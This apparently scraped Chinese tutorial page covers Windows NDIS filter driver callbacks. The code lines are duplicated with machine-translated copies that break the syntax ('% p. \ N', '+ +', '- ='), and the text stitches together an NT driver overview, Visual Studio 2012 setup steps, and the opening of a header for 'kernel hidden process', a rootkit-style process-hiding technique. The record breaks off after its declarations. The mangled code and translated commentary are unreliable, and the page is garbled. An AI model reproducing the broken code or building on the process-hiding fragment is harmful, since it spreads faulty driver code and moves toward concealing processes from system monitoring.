        IN  PNET_BUFFER_LIST    NetBufferLists,  IN PNET_BUFFER_LIST NetBufferLists,
        IN  ULONG               ReturnFlags  IN ULONG ReturnFlags
        )  )

{  {
    PMS_FILTER          pFilter = (PMS_FILTER)FilterModuleContext;  PMS_FILTER pFilter = (PMS_FILTER) FilterModuleContext;
    PNET_BUFFER_LIST    CurrNbl = NULL;  PNET_BUFFER_LIST CurrNbl = NULL;
    UINT                NumOfNetBufferLists = 0;  UINT NumOfNetBufferLists = 0;
    BOOLEAN             DispatchLevel;  BOOLEAN DispatchLevel;
    ULONG               Ref;  ULONG Ref;

    DEBUGP(DL_TRACE, ("===>ReturnNetBufferLists, NetBufferLists is %p.\n", NetBufferLists));  DEBUGP (DL_TRACE, ("===> ReturnNetBufferLists, NetBufferLists is% p. \ N", NetBufferLists));

    if (pFilter->TrackReceives)  if (pFilter-> TrackReceives)
    {  {
        while (CurrNbl)  while (CurrNbl)
        {  {

            NumOfNetBufferLists ++;  NumOfNetBufferLists + +;
            CurrNbl = NET_BUFFER_LIST_NEXT_NBL(CurrNbl);  CurrNbl = NET_BUFFER_LIST_NEXT_NBL (CurrNbl);
        }  }
    }  }
    NdisFReturnNetBufferLists(pFilter->FilterHandle, NetBufferLists, ReturnFlags);  NdisFReturnNetBufferLists (pFilter-> FilterHandle, NetBufferLists, ReturnFlags);

    if (pFilter->TrackReceives)  if (pFilter-> TrackReceives)
    {  {
        DispatchLevel = NDIS_TEST_RETURN_AT_DISPATCH_LEVEL(ReturnFlags);  DispatchLevel = NDIS_TEST_RETURN_AT_DISPATCH_LEVEL (ReturnFlags);
        FILTER_ACQUIRE_LOCK(&pFilter->Lock, DispatchLevel);  FILTER_ACQUIRE_LOCK (& pFilter-> Lock, DispatchLevel);

        pFilter->OutstandingRcvs -= NumOfNetBufferLists;  pFilter-> OutstandingRcvs - = NumOfNetBufferLists;
        Ref = pFilter->OutstandingRcvs;  Ref = pFilter-> OutstandingRcvs;
        FILTER_LOG_RCV_REF(3, pFilter, NetBufferLists, Ref);  FILTER_LOG_RCV_REF (3, pFilter, NetBufferLists, Ref);
        FILTER_RELEASE_LOCK(&pFilter->Lock, DispatchLevel);  FILTER_RELEASE_LOCK (& pFilter-> Lock, DispatchLevel);
    }                  }

    DEBUGP(DL_TRACE, ("<===ReturnNetBufferLists.\n"));  DEBUGP (DL_TRACE, ("<=== ReturnNetBufferLists. \ N"));

}  }

/*************************************************************** / ************************************************* **************
 FilterReceiveNetBufferLists函数的功能: Function of functions FilterReceiveNetBufferLists:
  Filter Driver调用 NdisFIndicateReceiveNetBufferLists来指示发送数据。 The Filter Driver calls NdisFIndicateReceiveNetBufferLists to indicate the transmission data.这个函数通过NET_BUFFER_LIST结构给上层驱动指示数据。 The instructions to the upper drive function through NET_BUFFER_LIST structure data. Filter Driver可以从池中分配这个结构。 Filter Driver can be allocated from the pool structure.如果Filter Driver设置了NdisFIndicateReceiveNetBufferLists的状态为 NDIS_STATUS_SUCCESS, NDIS通过驱动的FilterReturnNetBufferLists返回指示数据。 If Filter Driver to set NdisFIndicateReceiveNetBufferLists the state NDIS_STATUS_SUCCESS, NDIS through the drive FilterReturnNetBufferLists return instruction data.在这种情况下Filter Driver失去了对NET_BUFFER_LIST的所有权直到FilterReturnNetBufferLists被调用。 In this case, Filter Driver lost the the ownership right NET_BUFFER_LIST be invoked until FilterReturnNetBufferLists.如果Filter Driver在调用NdisFIndicateReceiveNetBufferLists时设置ReceiveFlags为NDIS_RECEIVE_FLAGS_RESOURCES，在函数返回后Filter Driver会立即恢复对NET_BUFFER_LIST的所有权,这时Filter Driver必须立即处理这个NET_BUFFER_LIST的返回,因为NDIS在这种情况下是不会调用FilterReturnNetBufferLists返回NET_BUFFER_LIST结构的。 If Filter Driver in to set ReceiveFlags call NdisFIndicateReceiveNetBufferLists, the NDIS_RECEIVE_FLAGS_RESOURCES Filter Driver after the function returns immediately restore ownership of NET_BUFFER_LIST, when Filter Driver must be dealt with immediately NET_BUFFER_LIST return, because NDIS in this case does not call FilterReturnNetBufferLists return NET_BUFFER_LIST structure.

  注意: 一个Filter Driver应该跟踪自己引发的接收指示确保它在FilterReturnNetBufferLists Note: a Filter Driver should track their triggered by receiving instructions to ensure that it is in FilterReturnNetBufferLists
  中不调用NdisFReturnNetBufferLists。 Do not call NdisFReturnNetBufferLists.
 ***************************************************************/  ************************************************** ************* /
VOID  VOID
FilterReceiveNetBufferLists(  FilterReceiveNetBufferLists (
        IN  NDIS_HANDLE         FilterModuleContext,  IN NDIS_HANDLE FilterModuleContext,
        IN  PNET_BUFFER_LIST    NetBufferLists,  IN PNET_BUFFER_LIST NetBufferLists,
        IN  NDIS_PORT_NUMBER    PortNumber,  IN NDIS_PORT_NUMBER PortNumber,
        IN  ULONG               NumberOfNetBufferLists,  IN ULONG NumberOfNetBufferLists,
        IN  ULONG               ReceiveFlags  IN ULONG ReceiveFlags
         )  )

{  {

    PMS_FILTER          pFilter = (PMS_FILTER)FilterModuleContext;  PMS_FILTER pFilter = (PMS_FILTER) FilterModuleContext;
    BOOLEAN             DispatchLevel;  BOOLEAN DispatchLevel;
    ULONG               Ref;  ULONG Ref;
    BOOLEAN               bFalse = FALSE;  BOOLEAN bFalse = FALSE;

#if DBG  # If DBG
    ULONG               ReturnFlags;  ULONG ReturnFlags;
#endif  # Endif

    DEBUGP(DL_TRACE, ("===>ReceiveNetBufferList: NetBufferLists = %p.\n", NetBufferLists));  DEBUGP (DL_TRACE, ("===> ReceiveNetBufferList: NetBufferLists =% p. \ N", NetBufferLists));
    do  do
    {  {

        DispatchLevel = NDIS_TEST_RECEIVE_AT_DISPATCH_LEVEL(ReceiveFlags);  DispatchLevel = NDIS_TEST_RECEIVE_AT_DISPATCH_LEVEL (ReceiveFlags);
#if DBG  # If DBG
        FILTER_ACQUIRE_LOCK(&pFilter->Lock, DispatchLevel);  FILTER_ACQUIRE_LOCK (& pFilter-> Lock, DispatchLevel);

        if (pFilter->State != FilterRunning)  if (pFilter-> State! = FilterRunning)
        {  {
            FILTER_RELEASE_LOCK(&pFilter->Lock, DispatchLevel);  FILTER_RELEASE_LOCK (& pFilter-> Lock, DispatchLevel);

            if (NDIS_TEST_RECEIVE_CAN_PEND(ReceiveFlags))  if (NDIS_TEST_RECEIVE_CAN_PEND (ReceiveFlags))
            {     {
                ReturnFlags = 0;  ReturnFlags = 0;
                if (NDIS_TEST_RECEIVE_AT_DISPATCH_LEVEL(ReceiveFlags))  if (NDIS_TEST_RECEIVE_AT_DISPATCH_LEVEL (ReceiveFlags))
                {  {
                    NDIS_SET_RETURN_FLAG(ReturnFlags, NDIS_RETURN_FLAGS_DISPATCH_LEVEL);  NDIS_SET_RETURN_FLAG (ReturnFlags, NDIS_RETURN_FLAGS_DISPATCH_LEVEL);
                }  }

                NdisFReturnNetBufferLists(pFilter->FilterHandle, NetBufferLists, ReturnFlags);  NdisFReturnNetBufferLists (pFilter-> FilterHandle, NetBufferLists, ReturnFlags);
            }  }
            break;  break;
        }  }
        FILTER_RELEASE_LOCK(&pFilter->Lock, DispatchLevel);  FILTER_RELEASE_LOCK (& pFilter-> Lock, DispatchLevel);
#endif  # Endif

        ASSERT(NumberOfNetBufferLists >= 1);  ASSERT (NumberOfNetBufferLists> = 1);

/*--------------------------------------------------------------------------------------*/            / * ------------------------------------------------ -------------------------------------- * /

                  //在这里添加我们的代码  / / Add our code here

/*---------------------------------------------------------------------------------------*/  / * ------------------------------------------------ --------------------------------------- * /

        if (pFilter->TrackReceives)  if (pFilter-> TrackReceives)
        {  {
            FILTER_ACQUIRE_LOCK(&pFilter->Lock, DispatchLevel);  FILTER_ACQUIRE_LOCK (& pFilter-> Lock, DispatchLevel);
            pFilter->OutstandingRcvs += NumberOfNetBufferLists;  pFilter-> OutstandingRcvs + = NumberOfNetBufferLists;
            Ref = pFilter->OutstandingRcvs;  Ref = pFilter-> OutstandingRcvs;

            FILTER_LOG_RCV_REF(1, pFilter, NetBufferLists, Ref);  FILTER_LOG_RCV_REF (1, pFilter, NetBufferLists, Ref);
            FILTER_RELEASE_LOCK(&pFilter->Lock, DispatchLevel);  FILTER_RELEASE_LOCK (& pFilter-> Lock, DispatchLevel);
        }  }

/************************************************************ / ************************************************* ***********
调用 NdisFIndicateReceiveNetBufferLists来指示发送数据。 Call NdisFIndicateReceiveNetBufferLists to indicate the transmission data.

如果Filter Driver设置了NdisFIndicateReceiveNetBufferLists的状态为NDIS_STATUS_SUCCESS, NDIS通过驱动的FilterReturnNetBufferLists 返回指示数据。 If Filter Driver to set NdisFIndicateReceiveNetBufferLists the state NDIS_STATUS_SUCCESS, NDIS through the drive FilterReturnNetBufferLists return instruction data.

如果Filter Driver设置了NdisFIndicateReceiveNetBufferLists的ReceiveFlags值为 If The Filter Driver to set NdisFIndicateReceiveNetBufferLists the ReceiveFlags value
NDIS_RECEIVE_FLAGS_RESOURCES,那么在函数返回后Filter Driver会立即恢复对 NDIS_RECEIVE_FLAGS_RESOURCES, then the function returns Filter Driver will be resumed immediately on
NET_BUFFER_LIST的所有权,这时Filter Driver必须立即处理这个NET_BUFFER_LIST的返回。 NET_BUFFER_LIST ownership, then Filter Driver must immediately deal with the return NET_BUFFER_LIST.
在这种情况下是不会调用FilterReturnNetBufferLists返回NET_BUFFER_LIST结构的。 In this case, will not call FilterReturnNetBufferLists to return NET_BUFFER_LIST structure.
************************************************************/  ************************************************** ********** /
        NdisFIndicateReceiveNetBufferLists(  NdisFIndicateReceiveNetBufferLists (
                   pFilter->FilterHandle,  pFilter-> FilterHandle,
                   NetBufferLists,  NetBufferLists,
                   PortNumber,   PortNumber,
                   NumberOfNetBufferLists,  NumberOfNetBufferLists,
                   ReceiveFlags);  ReceiveFlags);

        if (NDIS_TEST_RECEIVE_CANNOT_PEND(ReceiveFlags) && pFilter->TrackReceives)  if (NDIS_TEST_RECEIVE_CANNOT_PEND (ReceiveFlags) && pFilter-> TrackReceives)
        {  {
            FILTER_ACQUIRE_LOCK(&pFilter->Lock, DispatchLevel);  FILTER_ACQUIRE_LOCK (& pFilter-> Lock, DispatchLevel);
            pFilter->OutstandingRcvs -= NumberOfNetBufferLists;  pFilter-> OutstandingRcvs - = NumberOfNetBufferLists;
            Ref = pFilter->OutstandingRcvs;  Ref = pFilter-> OutstandingRcvs;
            FILTER_LOG_RCV_REF(2, pFilter, NetBufferLists, Ref);  FILTER_LOG_RCV_REF (2, pFilter, NetBufferLists, Ref);
            FILTER_RELEASE_LOCK(&pFilter->Lock, DispatchLevel);  FILTER_RELEASE_LOCK (& pFilter-> Lock, DispatchLevel);
        }  }

    } while (bFalse);  } While (bFalse);

    DEBUGP(DL_TRACE, ("<===ReceiveNetBufferList: Flags = %8x.\n", ReceiveFlags));  DEBUGP (DL_TRACE, ("<=== ReceiveNetBufferList: Flags =% 8x. \ N", ReceiveFlags));

}  }

/************************************************************** / ************************************************* *************
 FilterCancelSendNetBufferLists函数的功能: Function of functions FilterCancelSendNetBufferLists:
 过滤驱动调用NDIS_SET_NET_BUFFER_LIST_CANCEL_ID宏为每一个NET_BUFFER_LIST标记一个取消Id。 The filter driver calling NDIS_SET_NET_BUFFER_LIST_CANCEL_ID macro for each NET_BUFFER_LIST mark a canceled Id.
 在为网络数据分配取消ID之前,必须先调用NdisGenratePartialCanceId获得取消ID的高字节。 Prior to cancel the ID for the network data distribution, you must first call NdisGenratePartialCanceId to cancel ID high byte.
 这是为了确保不是驱动不会把一个取消ID分配给两个驱动驱动通常在DriverEntry调用 This is in order to ensure not drive will not put a canceled ID assigned to two drivers drive usually DriverEntry call
 NdisGenratePartialCanceld,但是驱动可以在不同的时间多次调用它来获得多个取消ID。 NdisGenratePartialCanceld, but the driver can many times at different times to call it to get multiple cancel ID.
 要取消被标记过取消ID且正在传输的数据,驱动可以调用NdisFCancelSendNetBufferLists例程 To cancel cancel ID is marked and the data being transferred, the drive can call NdisFCancelSendNetBufferLists routine
 来完成。 To complete.要获得取消ID可以用NDIS_GET_NET_BUFFER_LIST_CANCEL_ID宏来完成。 To get to cancel ID can be used NDIS_GET_NET_BUFFER_LIST_CANCEL_ID macro.

 如果一个Filter Driver对所有发送的NET_BUFFER_LIST标记了相同的取消ID那它可以用一个  A Filter Driver the same cancellation mark all the NET_BUFFER_LIST send ID it with a
 NdisFCancelSendNetBufferLists来取消所有的发送请求。 NdisFCancelSendNetBufferLists to cancel all send requests.如果把一部发送请求的NET_BUFFER_LIST标记相同的取消ID那么就可以调用一次NdisFCancelSendNetBufferLists来取消这部分发送请求。 Send a request NET_BUFFER_LIST marker cancel ID then you can call the time NdisFCancelSendNetBufferLists to cancel this part of the send request.

 在实现这个功能时NDIS会调用下层驱动的取消发送功能。 NDIS will achieve this function calls the lower drive cancel sending.中断正在执行的发送任务后,下层驱动会 The lower drive will interrupt the sending task being performed,
 调用发送完成全程(如:NdisMSendNetBufferListComplete)返回指定的NET_BUFFER_LIST结构并指定 返回状态为 NDIS_STATUS_CANCELLED, NDIS依次调用Filter Driver的FilterSendNetBufferListsComplete例程。 Call to send will finish (eg: NdisMSendNetBufferListComplete), return specified NET_BUFFER_LIST structure and specify return NDIS_STATUS_CANCELLED, NDIS turn call the Filter Driver FilterSendNetBufferListsComplete routine.在FilterSendNetBufferListsComplete中要用NDIS_SET_NET_BUFFER_LIST_CANCEL_ID设置取消的NET_BUFFER_LIST  NDIS_SET_NET_BUFFER_LIST_CANCEL_ID the setting cancel the NET_BUFFER_LIST use FilterSendNetBufferListsComplete in
 的取消ID 为 NULL,这样是为了防止这个ID,在 NET_BUFFER_LIST被再次分配时使用。 Cancellation ID is NULL, this is in order to prevent this ID NET_BUFFER_LIST is again assigned to use.

上层驱动在取消一个未完成的发送请求时也必须对这个发送请求的 NET_BUFFER_LIST结构设定取消ID。 The upper drive cancel an unfinished send request must cancel this the sending request NET_BUFFER_LIST structure set ID.
 NDIS会传递给Filter Driver的FilterCancelSendNetBufferLists一个取消ID来取消发送请求的 NDIS will pass to Filter Driver FilterCancelSendNetBufferLists an to cancel ID to cancel sending request
 NET_BUFFER_LIST发送。 NET_BUFFER_LIST sent. FilterCanCelSendNetBufferLists下执行下列操作。 FilterCanCelSendNetBufferLists Perform the following procedure.
  1)遍历 Filter Driver的发送队列，用 NDIS_GET_NET_BUFFER_LSIT_CANCEL_ID获得队列中NET_BUFFER_LIST的取消ID与FilterCancelSendBufferLists的取消ID比较。 1) traversal Filter Driver transmit queue, cancel ID with NDIS_GET_NET_BUFFER_LSIT_CANCEL_ID to get queue NET_BUFFER_LIST cancel ID FilterCancelSendBufferLists of the comparison.
  2)移除队列中取消 ID 和 FilterCancelSentBufferLists中取消ID相同的元素。 2) Remove canceled the ID and FilterCancelSentBufferLists cancel the same ID elements in the queue.
  3)调用 NdisFSendNetBufferListsComplete来完成这些NET_BUFFER_LIST并设定返回状 3) call NdisFSendNetBufferListsComplete to complete these NET_BUFFER_LIST and set the return-like
    态为NDIS_STATUS_CANCELLED。 State is NDIS_STATUS_CANCELLED.
  4)调用NdisFCancelSendNetBufferLists传递取消发送请求给下层驱动。 4) call NdisFCancelSendNetBufferLists passing cancel sending the request to the lower driver.传递取消ID给下层驱动就Filter Driver取消自己引发的发关请求一样。 Passed to cancel the ID to the lower drive Filter Driver cancel their hair off requests triggered.
 *************************************************************/  ************************************************** *********** /
VOID  VOID
FilterCancelSendNetBufferLists(  FilterCancelSendNetBufferLists (
    IN  NDIS_HANDLE             FilterModuleContext,  IN NDIS_HANDLE FilterModuleContext,
    IN  PVOID                   CancelId  IN PVOID CancelId
    )  )

{  {
    PMS_FILTER  pFilter = (PMS_FILTER)FilterModuleContext;  PMS_FILTER pFilter = (PMS_FILTER) FilterModuleContext;

    NdisFCancelSendNetBufferLists(pFilter->FilterHandle,CancelId);  NdisFCancelSendNetBufferLists (pFilter-> FilterHandle, CancelId);
}  }

/************************************************************** / ************************************************* *************
 FilterSetModuleOptions函数的功能: Function of functions FilterSetModuleOptions:
  必须要在初始化时为驱动注册FilterSetModuleOptions例程,驱动可以在这个例程中初始化 Initialization must-driven routines of registration FilterSetModuleOptions, drive initialization routine
  NDIS_FILTER_PARTIAL_CHARACTERISTICS结构来调用NdisSetOptionalHandlers来完成必变。 To call NdisSetOptionalHandlers NDIS_FILTER_PARTIAL_CHARACTERISTICS structure to complete must change.
  这个例程如果存在那么在调用Filter Driver的FilterRestart例程之前调用它。 This routine if there is then called before the call Filter Driver FilterRestart routine.
 ***************************************************************/   ************************************************** ************* /
NDIS_STATUS  NDIS_STATUS
FilterSetModuleOptions(  FilterSetModuleOptions (
    IN  NDIS_HANDLE             FilterModuleContext  IN NDIS_HANDLE FilterModuleContext
    )  )
{  {

   PMS_FILTER                   pFilter = (PMS_FILTER)FilterModuleContext;  PMS_FILTER pFilter = (PMS_FILTER) FilterModuleContext;
   NDIS_FILTER_PARTIAL_CHARACTERISTICS      OptionalHandlers;  NDIS_FILTER_PARTIAL_CHARACTERISTICS OptionalHandlers;
   NDIS_STATUS                Status = NDIS_STATUS_SUCCESS;  NDIS_STATUS Status = NDIS_STATUS_SUCCESS;
   BOOLEAN               bFalse = FALSE;  BOOLEAN bFalse = FALSE;

   if (bFalse)  if (bFalse)
   {  {
       UINT    i;  UINT i;

       pFilter->CallsRestart++;  pFilter-> CallsRestart + +;

       i = pFilter->CallsRestart % 8;  i = pFilter-> CallsRestart% 8;

       pFilter->TrackReceives = TRUE;  pFilter-> TrackReceives = TRUE;
       pFilter->TrackSends = TRUE;  pFilter-> TrackSends = TRUE;

       NdisMoveMemory(&OptionalHandlers, &DefaultChars, sizeof(OptionalHandlers));  NdisMoveMemory (& OptionalHandlers, & DefaultChars, sizeof (OptionalHandlers));
       OptionalHandlers.Header.Type = NDIS_OBJECT_TYPE_FILTER_PARTIAL_CHARACTERISTICS;  OptionalHandlers.Header.Type = NDIS_OBJECT_TYPE_FILTER_PARTIAL_CHARACTERISTICS;
       OptionalHandlers.Header.Size = sizeof(OptionalHandlers);  OptionalHandlers.Header.Size = sizeof (OptionalHandlers);
       switch (i)  switch (i)
       {  {

            case 0:   case 0:
                OptionalHandlers.ReceiveNetBufferListsHandler = NULL;  OptionalHandlers.ReceiveNetBufferListsHandler = NULL;
                pFilter->TrackReceives = FALSE;  pFilter-> TrackReceives = FALSE;
                break;  break;

            case 1:  case 1:

                OptionalHandlers.ReturnNetBufferListsHandler = NULL;  OptionalHandlers.ReturnNetBufferListsHandler = NULL;
                pFilter->TrackReceives = FALSE;  pFilter-> TrackReceives = FALSE;
                break;  break;

            case 2:  case 2:
                OptionalHandlers.SendNetBufferListsHandler = NULL;  OptionalHandlers.SendNetBufferListsHandler = NULL;
                pFilter->TrackSends = FALSE;  pFilter-> TrackSends = FALSE;
                break;  break;

            case 3:  case 3:
                OptionalHandlers.SendNetBufferListsCompleteHandler = NULL;  OptionalHandlers.SendNetBufferListsCompleteHandler = NULL;
                pFilter->TrackSends = FALSE;  pFilter-> TrackSends = FALSE;
                break;  break;

            case 4:  case 4:
                OptionalHandlers.ReceiveNetBufferListsHandler = NULL;  OptionalHandlers.ReceiveNetBufferListsHandler = NULL;
                OptionalHandlers.ReturnNetBufferListsHandler = NULL;  OptionalHandlers.ReturnNetBufferListsHandler = NULL;
                break;  break;

            case 5:  case 5:
                OptionalHandlers.SendNetBufferListsHandler = NULL;  OptionalHandlers.SendNetBufferListsHandler = NULL;
                OptionalHandlers.SendNetBufferListsCompleteHandler = NULL;  OptionalHandlers.SendNetBufferListsCompleteHandler = NULL;
                break;  break;

            case 6:  case 6:

                OptionalHandlers.ReceiveNetBufferListsHandler = NULL;  OptionalHandlers.ReceiveNetBufferListsHandler = NULL;
                OptionalHandlers.ReturnNetBufferListsHandler = NULL;  OptionalHandlers.ReturnNetBufferListsHandler = NULL;
                OptionalHandlers.SendNetBufferListsHandler = NULL;  OptionalHandlers.SendNetBufferListsHandler = NULL;
                OptionalHandlers.SendNetBufferListsCompleteHandler = NULL;  OptionalHandlers.SendNetBufferListsCompleteHandler = NULL;
                break;  break;

            case 8:  case 8:
                break;  break;
       }  }
       Status = NdisSetOptionalHandlers(pFilter->FilterHandle, (PNDIS_DRIVER_OPTIONAL_HANDLERS)&OptionalHandlers );  Status = NdisSetOptionalHandlers (pFilter-> FilterHandle, (PNDIS_DRIVER_OPTIONAL_HANDLERS) & OptionalHandlers);
   }  }
   return Status;  return Status;
}  }

NDIS_STATUS  NDIS_STATUS
filterDoInternalRequest(  filterDoInternalRequest (
    IN PMS_FILTER                   FilterModuleContext,  IN PMS_FILTER FilterModuleContext,
    IN NDIS_REQUEST_TYPE            RequestType,  IN NDIS_REQUEST_TYPE RequestType,
    IN NDIS_OID                     Oid,  IN NDIS_OID Oid,
    IN PVOID                        InformationBuffer,  IN PVOID InformationBuffer,
    IN ULONG                        InformationBufferLength,  IN ULONG InformationBufferLength,
    IN ULONG                        OutputBufferLength, OPTIONAL  IN ULONG OutputBufferLength, OPTIONAL
    IN ULONG                        MethodId, OPTIONAL  IN ULONG MethodId, OPTIONAL
    OUT PULONG                      pBytesProcessed  OUT PULONG pBytesProcessed
    )  )

{  {
    FILTER_REQUEST              FilterRequest;  FILTER_REQUEST FilterRequest;
    PNDIS_OID_REQUEST           NdisRequest = &FilterRequest.Request;  PNDIS_OID_REQUEST NdisRequest = & FilterRequest.Request;
    NDIS_STATUS                 Status;  NDIS_STATUS Status;
    BOOLEAN               bFalse;  BOOLEAN bFalse;

    bFalse = FALSE;  bFalse = FALSE;
    NdisZeroMemory(NdisRequest, sizeof(NDIS_OID_REQUEST));  NdisZeroMemory (NdisRequest, sizeof (NDIS_OID_REQUEST));

    NdisInitializeEvent(&FilterRequest.ReqEvent);  NdisInitializeEvent (& FilterRequest.ReqEvent);

    NdisRequest->Header.Type = NDIS_OBJECT_TYPE_OID_REQUEST;  NdisRequest-> Header.Type = NDIS_OBJECT_TYPE_OID_REQUEST;
    NdisRequest->Header.Revision = NDIS_OID_REQUEST_REVISION_1;  NdisRequest-> Header.Revision = NDIS_OID_REQUEST_REVISION_1;
    NdisRequest->Header.Size = sizeof(NDIS_OID_REQUEST);  NdisRequest-> Header.Size = sizeof (NDIS_OID_REQUEST);
    NdisRequest->RequestType = RequestType;  NdisRequest-> RequestType = RequestType;

    switch (RequestType)  switch (RequestType)
    {  {
        case NdisRequestQueryInformation:  case NdisRequestQueryInformation:
             NdisRequest->DATA.QUERY_INFORMATION.Oid = Oid;  NdisRequest-> DATA.QUERY_INFORMATION.Oid = Oid;
             NdisRequest->DATA.QUERY_INFORMATION.InformationBuffer =InformationBuffer;  NdisRequest-> DATA.QUERY_INFORMATION.InformationBuffer = InformationBuffer;

             NdisRequest->DATA.QUERY_INFORMATION.InformationBufferLength = InformationBufferLength;  NdisRequest-> DATA.QUERY_INFORMATION.InformationBufferLength = InformationBufferLength;

            break;  break;

        case NdisRequestSetInformation:  case NdisRequestSetInformation:
             NdisRequest->DATA.SET_INFORMATION.Oid = Oid;  NdisRequest-> DATA.SET_INFORMATION.Oid = Oid;
             NdisRequest->DATA.SET_INFORMATION.InformationBuffer =InformationBuffer;  NdisRequest-> DATA.SET_INFORMATION.InformationBuffer = InformationBuffer;

             NdisRequest->DATA.SET_INFORMATION.InformationBufferLength =InformationBufferLength;  NdisRequest-> DATA.SET_INFORMATION.InformationBufferLength = InformationBufferLength;

            break;  break;

        case NdisRequestMethod:  case NdisRequestMethod:
             NdisRequest->DATA.METHOD_INFORMATION.Oid = Oid;  NdisRequest-> DATA.METHOD_INFORMATION.Oid = Oid;
             NdisRequest->DATA.METHOD_INFORMATION.MethodId = MethodId;  NdisRequest-> DATA.METHOD_INFORMATION.MethodId = MethodId;
             NdisRequest->DATA.METHOD_INFORMATION.InformationBuffer = InformationBuffer;  NdisRequest-> DATA.METHOD_INFORMATION.InformationBuffer = InformationBuffer;

             NdisRequest->DATA.METHOD_INFORMATION.InputBufferLength = InformationBufferLength;  NdisRequest-> DATA.METHOD_INFORMATION.InputBufferLength = InformationBufferLength;

             NdisRequest->DATA.METHOD_INFORMATION.OutputBufferLength = OutputBufferLength;  NdisRequest-> DATA.METHOD_INFORMATION.OutputBufferLength = OutputBufferLength;
             break;  break;

        default:  default:
            FILTER_ASSERT(bFalse);  FILTER_ASSERT (bFalse);
            break;  break;
    }  }

    NdisRequest->RequestId = (PVOID)FILTER_REQUEST_ID;  NdisRequest-> RequestId = (PVOID) FILTER_REQUEST_ID;

    Status = NdisFOidRequest(FilterModuleContext->FilterHandle,NdisRequest);  Status = NdisFOidRequest (FilterModuleContext-> FilterHandle, NdisRequest);

    if (Status == NDIS_STATUS_PENDING)  if (Status == NDIS_STATUS_PENDING)
    {  {

        NdisWaitEvent(&FilterRequest.ReqEvent, 0);  NdisWaitEvent (& FilterRequest.ReqEvent, 0);
        Status = FilterRequest.Status;  Status = FilterRequest.Status;
    }  }

    if (Status == NDIS_STATUS_SUCCESS)  if (Status == NDIS_STATUS_SUCCESS)
    {  {
        if (RequestType == NdisRequestSetInformation)  if (RequestType == NdisRequestSetInformation)
        {  {
            *pBytesProcessed = NdisRequest->DATA.SET_INFORMATION.BytesRead;  * PBytesProcessed = NdisRequest-> DATA.SET_INFORMATION.BytesRead;
        }  }

        if (RequestType == NdisRequestQueryInformation)  if (RequestType == NdisRequestQueryInformation)
        {  {
            *pBytesProcessed = NdisRequest->DATA.QUERY_INFORMATION.BytesWritten;  * PBytesProcessed = NdisRequest-> DATA.QUERY_INFORMATION.BytesWritten;
        }  }

        if (RequestType == NdisRequestMethod)  if (RequestType == NdisRequestMethod)
        {  {
            *pBytesProcessed = NdisRequest->DATA.METHOD_INFORMATION.BytesWritten;  * PBytesProcessed = NdisRequest-> DATA.METHOD_INFORMATION.BytesWritten;
        }  }

        if (RequestType == NdisRequestMethod)  if (RequestType == NdisRequestMethod)
        {  {
            if (*pBytesProcessed > OutputBufferLength)  if (* pBytesProcessed> OutputBufferLength)
            {  {
                *pBytesProcessed = OutputBufferLength;  * PBytesProcessed = OutputBufferLength;
            }  }
        }  }
        else  else
        {  {

            if (*pBytesProcessed > InformationBufferLength)  if (* pBytesProcessed> InformationBufferLength)
            {  {
                *pBytesProcessed = InformationBufferLength;  * PBytesProcessed = InformationBufferLength;
            }  }
        }  }
    }  }

    return (Status);  return (Status);
}  }

VOID  VOID
filterInternalRequestComplete(  filterInternalRequestComplete (
    IN NDIS_HANDLE                  FilterModuleContext,  IN NDIS_HANDLE FilterModuleContext,
    IN PNDIS_OID_REQUEST            NdisRequest,  IN PNDIS_OID_REQUEST NdisRequest,
    IN NDIS_STATUS                  Status  IN NDIS_STATUS Status
    )  )

{  {
    PFILTER_REQUEST              FilterRequest;  PFILTER_REQUEST FilterRequest;

    UNREFERENCED_PARAMETER(FilterModuleContext);  UNREFERENCED_PARAMETER (FilterModuleContext);

    FilterRequest = CONTAINING_RECORD(NdisRequest, FILTER_REQUEST, Request);  FilterRequest = CONTAINING_RECORD (NdisRequest, FILTER_REQUEST, Request);

    FilterRequest->Status = Status;  FilterRequest-> Status = Status;

    NdisSetEvent(&FilterRequest->ReqEvent);  NdisSetEvent (& FilterRequest-> ReqEvent);
}  }

In Windows NT, the 80386 protected mode "protection" is more robust than Windows 95, the "gilded cage" more solid, more difficult to break. In Windows 95, at least the application I / O operation is unrestricted, Windows NT application even this permission are deprived. Less likely to enter in the NT almost real ring0 layer.
In Windows NT, there are three Device Driver:
  1. "Virtual device Driver" (VDD). VDD, 16-bit applications, such as DOS and Win16 applications can access specific I / O ports (Note, not direct access, but to VDD to access).
  2. "GDI Driver", display and print the necessary GDI functions.
  3. "Kernel Mode Driver", the operation of specific hardware, for example, CreateFile, CloseHandle (file object), ReadFile, WriteFile, the DeviceIoControl other operations. "Kernel Mode Driver" Windows NT hardware interrupt and DMA operation Driver. SCSI port driver and NIC NDIS driver Kernel Mode Driver is a special form.

Visual studio2012 Windows8 bring new experience exceptionally different

1.Start Vs2012

2.Seen everywhere driven development template

3.Select a drive mode, there are two types of kernel mode and user mode driver

4 Create a driver, KMDF DriverMVP

5.We choose a kernel mode driver Below is created after the success of the interface are the driver, and the driver installation package

6.Press F5, select the drive compile

Insert the following code kernel hidden process

Header files

      #ifndef DBGHELP_H
#define DBGHELP_H 1

#include <ntifs.h>

/************************************************************************/
/* 重量级结构的申明                                                                     */
/************************************************************************/

typedef struct _HANDLE_TABLE {
    ULONG Flags;
    LONG HandleCount;
    PHANDLE_TABLE_ENTRY **Table;
    struct _EPROCESS *QuotaProcess;
    HANDLE UniqueProcessId;
    LONG FirstFreeTableEntry;
    LONG NextIndexNeedingPool;
    ERESOURCE HandleTableLock;
    LIST_ENTRY HandleTableList;
    KEVENT HandleContentionEvent;
} HANDLE_TABLE, *PHANDLE_TABLE;

typedef BOOLEAN (*EX_ENUMERATE_HANDLE_ROUTINE)(
                                               IN PHANDLE_TABLE_ENTRY HandleTableEntry,
                                               IN HANDLE Handle,
                                               IN PVOID EnumParameter
                                               );
typedef BOOLEAN(*__ExEnumHandleTable)(
                                      IN PHANDLE_TABLE HandleTable,
                                      IN EX_ENUMERATE_HANDLE_ROUTINE EnumHandleProcedure,
                                      IN PVOID EnumParameter,
                                      OUT PHANDLE Handle OPTIONAL
    );

typedef BOOLEAN (*EXENUMHANDLETABLE)(
                                     IN PHANDLE_TABLE HandleTable,
                                     IN EX_ENUMERATE_HANDLE_ROUTINE EnumHandleProcedure,
                                     IN PVOID EnumParameter,
                                     OUT PHANDLE Handle OPTIONAL
                                       );

/************************************************************************/
/* 申明一些全局变量                                                                     */
/************************************************************************/
ULONG    g_Offset_Eprocess_Name=0;
ULONG    g_Offset_Eprocess_Flink = 0;
